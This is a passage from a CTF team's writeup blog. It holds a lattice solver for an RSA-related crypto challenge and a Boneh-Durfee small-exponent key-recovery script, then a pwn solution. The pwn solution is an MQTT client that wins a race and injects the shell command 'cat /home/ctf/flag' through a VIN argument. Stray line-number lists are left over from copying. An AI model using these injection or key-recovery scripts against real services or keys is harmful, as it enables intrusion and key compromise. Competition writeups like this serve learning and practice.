    # We want vector v = k*b1 + r*b2 + z*b3 - 1*b4 = (k, r, 0)
    # Weight K should be larger than k, r.
    # k, r approx 2^247. Let K = 2^250.
    
    K = 2**250
    M = 2**777
    
    basis = [
        [1, 0, K * q_low],
        [0, 1, K * p_low],
        [0, 0, K * M],
        [0, 0, K * LHS]
    ]
    
    reduced = lll_reduction(basis)
    
    found_p = False
    for row in reduced:
        # Check if last component is 0 (or close to 0 if K is not large enough, but here it should be 0)
        # Actually, LLL might produce +/- (k, r, 0).
        # Or it might produce combinations.
        # We look for row where 3rd component is 0.
        
        if row[2] == 0:
            k_cand = abs(int(row[0]))
            r_cand = abs(int(row[1]))
            
            # Try p = k * 2^777 + p_low
            p_cand = k_cand * (2**777) + p_low
            if n % p_cand == 0:
                p = p_cand
                q = n // p
                print(f"Found p: {p}")
                print(f"Found q: {q}")
                found_p = True
                break
                
            # Try negative k? k must be positive.
            # But row[0] might be negative.
            # Also check r
            
    if not found_p:
        # Maybe the vector is difference of two rows?
        # Or maybe we need to check all rows.
        # Let's check if any row gives valid p.
        for row in reduced:
            k_cand = abs(int(row[0]))
            p_cand = k_cand * (2**777) + p_low
            if p_cand > 1 and n % p_cand == 0:
                p = p_cand
                q = n // p
                print(f"Found p: {p}")
                found_p = True
                break
                
    if not found_p:
        print("Failed to recover p")
        return
        
    # 4. Decrypt m
    e = 65537
    phi = (p-1)*(q-1)
    d = inverse(e, phi)
    m = pow(c, d, n)
    print(f"Recovered m: {m}")
    
    # 5. Solve for x, y
    # A(x^2 - 1) = B y^2
    print("Solving for x, y...")
    g = gcd(A_val, B_val)
    A_prime = A_val // g
    B_prime = B_val // g
    
    # A' (x^2 - 1) = B' y^2
    # Check square free part of A'
    # A' is 1293023064232431070902426583269468463
    # Let's assume A' is square free for now or check small factors
    # Actually, let's just assume the structure derived earlier:
    # x^2 - D w^2 = 1 where D = B' * A' (if A' square free)
    # Wait, earlier I said D = B' * t where A' = s^2 t.
    # If A' is square free, t = A', s = 1.
    # So D = B' * A'.
    
    D = B_prime * A_prime
    print(f"Solving Pell for D={D}")
    
    # This D might be large.
    # A' ~ 10^36, B' ~ 10^35. D ~ 10^71.
    # Pell solver using continued fractions is fast enough for 10^70?
    # sqrt(D) ~ 10^35.
    # Number of steps might be large if period is large.
    # But usually for CTF it's not too bad.
    
    pell_sol = solve_pell(D)
    if not pell_sol:
        print("Failed to solve Pell")
        return
        
    x_pell, w_pell = pell_sol
    
    # x = x_pell
    # y = t * z = t * s * w = A' * w (if s=1)
    y_sol = A_prime * w_pell
    
    print(f"Found x: {x_pell}")
    print(f"Found y: {y_sol}")
    
    # Verify
    if A_val * x_pell**2 - B_val * y_sol**2 == gift1:
        print("Equation verified!")
    else:
        print("Equation NOT verified!")
        # Maybe A' was not square free?
        # Let's check if A' has square factor.
        # A' = 1293023064232431070902426583269468463
        # It's not obviously a square.
        pass

    # 6. Recover Flag using LLL
    # x * f0 + y * f1 = r mod m
    # f0, f1 approx 256 bits?
    # m is 1876 bits.
    # r < 2^99.
    # Lattice:
    # [ 1, 0, x ]
    # [ 0, 1, y ]
    # [ 0, 0, m ]
    
    print("Recovering flag...")
    
    # We want to find (f0, f1, r)
    # We can use CVP or just SVP on a scaled lattice.
    # We want to penalize large r.
    # But r is already small (2^99).
    # f0, f1 are larger (2^200+).
    # So (f0, f1, r) is already a short vector in this lattice?
    # The vector is v = f0 * b1 + f1 * b2 - k * b3 = (f0, f1, x f0 + y f1 - km) = (f0, f1, r).
    # Norm is approx sqrt(f0^2 + f1^2 + r^2) approx f0.
    # Determinant is m.
    # Minkowski bound m^(1/3).
    # m ~ 2^1876. Bound ~ 2^625.
    # f0 ~ 2^256.
    # So it is very short.
    
    basis = [
        [1, 0, x_pell],
        [0, 1, y_sol],
        [0, 0, m]
    ]
    
    reduced = lll_reduction(basis)
    
    for row in reduced:
        # Check if row looks like (f0, f1, r)
        # f0, f1 should be positive (bytes_to_long)
        # r can be negative? The problem says (..)%m < 2^99. So r is positive.
        # But LLL gives +/- vectors.
        
        f0_cand = abs(row[0])
        f1_cand = abs(row[1])
        
        # Try to convert to bytes
        try:
            b0 = long_to_bytes(f0_cand)
            b1 = long_to_bytes(f1_cand)
            
            if b"flag{" in b0:
                print(f"Found f0: {b0}")
                print(f"Found f1: {b1}")
                print(f"Full Flag: {b0 + b1}")
                break
            
            # Maybe order is swapped or signs
            if b"flag{" in b1:
                print(f"Found f0: {b1}")
                print(f"Found f1: {b0}")
                print(f"Full Flag: {b1 + b0}")
                break
                
        except:
            continue

if __name__ == "__main__":
    solve()

题目名称 budo的pem

pem可以恢复出n,e

e=14180624331525991413806961940205749159059672195526010812302727853797689314317592739705685551298732523630959991899621053483135891357764554237827830483836439016974587279272031674430927658131895070464916701588233589386349049620755733138785652009983671996549157331713576664774799256183477206330524171028474266411634935294668960034971282728570749735946140241122767282799298230610201636191394577538375846828013584508852185295950919801912280565423819423712437302673912737370268540642137115217185193479116171916803844236143555349715053108779636638218404547424967160100212508958775263973108754654389190280868923617834114867493

n=27282116371983762041912669226171934834213267111869663414643046433946308990099670619902779534028098258662491783696548704814110569031913533951522948899897952050753641129753560031453499125038644663810374945611628785371618348480443687057347952494765550645132106424275386344675708722795562530893084586263715603616605019932670052317546124250273398628671233505778162949122797472901844999122236752056581074033257933303752665270582493695571812447018768673719950432810902857287900402430788862530621394430578906291537999146794893832511289918245846963416265417641139236739819022441678736012415250371091507897123724260254368398851

再使用经典boneh and durfee attack的wp就可解出

注意参数是8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
import time

##############################
# Config
############################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

##############################
# Functions
############################


def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1

    print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print (a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1, -1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB

""" 
Returns:
* 0,0   if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May
    
    finds a solution if:
    * d < N^delta
    * |x| < e^delta
    * |y| < e^0.5
    whenever delta < 1 - sqrt(2)/2 ~ 0.292
    """

    # substitution (Herrman and May)
    PR.<u, x, y> = PolynomialRing(ZZ)
    Q = PR.quotient(x*y + 1 - u) # u = xy + 1
    polZ = Q(pol).lift()

    UU = XX*YY + 1

    # x-shifts
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()

    # x-shifts list of monomials
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials():
            if monomial not in monomials:
                monomials.append(monomial)
    monomials.sort()
    
    # y-shifts (selected by Herrman and May)
    for jj in range(1, tt + 1):
        for kk in range(int(floor(mm/tt) )* jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution
    
    # y-shifts list of monomials
    for jj in range(1, tt + 1):
        for kk in range(int(floor(mm/tt)) * jj, mm + 1):
            monomials.append(u^kk * y^jj)

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = int(gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY))

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^mm)
    
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^mm)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / int(monomials[jj](UU,XX,YY))
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / int(monomials[jj](UU,XX,YY))

            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
    
    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 0, 0

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    #
    return solx, soly


def example():
    ##############################
    # How To Use This Script
    ############################

    #
    # The problem to solve (edit the following values)
    #

    # the modulus
    N = 27282116371983762041912669226171934834213267111869663414643046433946308990099670619902779534028098258662491783696548704814110569031913533951522948899897952050753641129753560031453499125038644663810374945611628785371618348480443687057347952494765550645132106424275386344675708722795562530893084586263715603616605019932670052317546124250273398628671233505778162949122797472901844999122236752056581074033257933303752665270582493695571812447018768673719950432810902857287900402430788862530621394430578906291537999146794893832511289918245846963416265417641139236739819022441678736012415250371091507897123724260254368398851
        # the public exponent
    e = 14180624331525991413806961940205749159059672195526010812302727853797689314317592739705685551298732523630959991899621053483135891357764554237827830483836439016974587279272031674430927658131895070464916701588233589386349049620755733138785652009983671996549157331713576664774799256183477206330524171028474266411634935294668960034971282728570749735946140241122767282799298230610201636191394577538375846828013584508852185295950919801912280565423819423712437302673912737370268540642137115217185193479116171916803844236143555349715053108779636638218404547424967160100212508958775263973108754654389190280868923617834114867493
    c=bytes_to_long(open('enc','rb').read())
    # the hypothesis on the private exponent (the theoretical maximum is 0.292)
    delta = .27 # this means that d < N^delta

    #
    # Lattice (tweak those values)
    #

    # you should tweak this (after a first run), (e.g. increment it until a solution is found)
    m = 4 # size of the lattice (bigger the better/slower)

    # you need to be a lattice master to tweak these
    t = int((1-2*delta) * m)  # optimization from Herrmann and May
    X = 2*floor(N^delta)  # this _might_ be too much
    Y = floor(int(N^(1/2)))    # correct if p, q are ~ same size

    #
    # Don't touch anything below
    #

    # Problem put in equation
    P.<x,y> = PolynomialRing(ZZ)
    A = int((N+1)/2)
    pol = 1 + x * (A + y)

    #
    # Find the solutions!
    #

    # Checking bounds
    if debug:
        print("=== checking values ===")
        print("* delta:", delta)
        print("* delta < 0.292", delta < 0.292)
        print("* size of e:", int(log(e)/log(2)))
        print("* size of N:", int(log(N)/log(2)))
        print("* m:", m, ", t:", t)

    # boneh_durfee
    if debug:
        print("=== running algorithm ===")
        start_time = time.time()

    solx, soly = boneh_durfee(pol, e, m, t, X, Y)

    # found a solution?
    if solx > 0:
        print("=== solution found ===")
        if False:
            print("x:", solx)
            print("y:", soly)

        d = int(pol(solx, soly) / e)
        print("private key found:", d)
    else:
        print("=== no solution was found ===")

    if debug:
        print("=== %s seconds ===" % (time.time() - start_time))

img

Pwn

题目名称 Heartbeat_Out_of_Bounds

Mqtt 国决原题

漏洞点

img

sleep(2)这里条件竞争

先输入合法 vin，再进行命令注入

使用 mqttx 订阅 diag，得到 VIN XDGV56EK1R8B3W42B

img

参考https://rocketma.dev/2025/07/19/final.mqtt/

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import paho.mqtt.client as mqtt
import time
from json import dumps

broker = '192.168.18.23'
client_id = "python_client"
vin = 'XDGV56EK1R8B3W42B'
hashn = 0
for ch in vin:
    hashn = hashn * 0x1f + ord(ch)
auth = hex(hashn)[-8:]

def on_connect(client, userdata, flags, rc, properties=None):
    print(f"Connected with result code {rc}")
    client.subscribe("diag")

def on_message(client, userdata, msg):
    print(f"{msg.topic}: {msg.payload.decode()}")

client = mqtt.Client(client_id=client_id, callback_api_version=mqtt.CallbackAPIVersion.VERSION2)
client.on_connect = on_connect
client.on_message = on_message
client.connect(broker, 19999, 60)
cmd = {
    'auth': auth,
    'cmd': 'set_vin',
    'arg': '111111111a',
}
client.loop_start()
client.subscribe('diag/resp')
client.publish('diag', dumps(cmd))
time.sleep(1)
cmd['arg'] = '123;cat /home/ctf/flag;'
client.publish('diag', dumps(cmd))
try:
    while True:
        time.sleep(0.5)
except KeyboardInterrupt:
    pass
client.loop_stop()
client.disconnect()
← 第二届PCTF2025-Offical Writeup DASCTF 2025下半年赛 WriteUp by 0psu3 →
© 2025 0psu3-Team. All rights reserved.